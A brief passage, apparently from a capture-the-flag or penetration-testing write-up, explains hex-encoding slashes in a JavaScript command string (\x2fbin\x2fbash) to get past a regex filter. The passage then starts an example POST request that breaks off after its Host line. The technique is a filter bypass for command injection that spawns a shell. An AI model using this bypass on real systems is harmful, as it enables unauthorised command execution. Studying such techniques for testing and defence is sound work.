JavaScript strings can by design be composed of hex-encoded characters, in addition to other encodings. So we should be able to hex-encode our forward slashes and bypass the restrictions of the regex parsing. We gotta do some hex-encoding scheme to the cmd string
\\x2fbin\\x2fbash
e.g:
POST /users HTTP/1.1
Host: 172.118.132.4